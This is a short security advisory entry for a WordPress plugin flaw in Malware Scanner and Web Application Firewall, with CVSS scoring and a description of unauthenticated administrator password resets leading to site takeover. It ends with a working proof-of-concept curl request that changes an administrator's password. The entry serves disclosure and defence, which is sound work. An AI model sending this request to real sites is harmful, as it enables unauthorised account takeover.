Malware Scanner < 4.7.3 and Web Application Firewall < 2.1.2 - Unauthenticated Privilege Escalation

2024-03-1300:00:00

wpvulndb

malware scanner

web application firewall

unauthenticated privilege escalation

vulnerable site

change password exploit

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

15.7%

JSON

Description The plugin does not prevent unauthenticated users from resetting any account’s password, allowing them to takeover sites by resetting one of its administrators’ password.

curl --url 'http://vulnerable-site.tld/wp-login.php' --data 'option=mo_wpns_change_password&username=simpleadmin&new_password=P4ssw0rd!&confirm_password=P4ssw0rd!'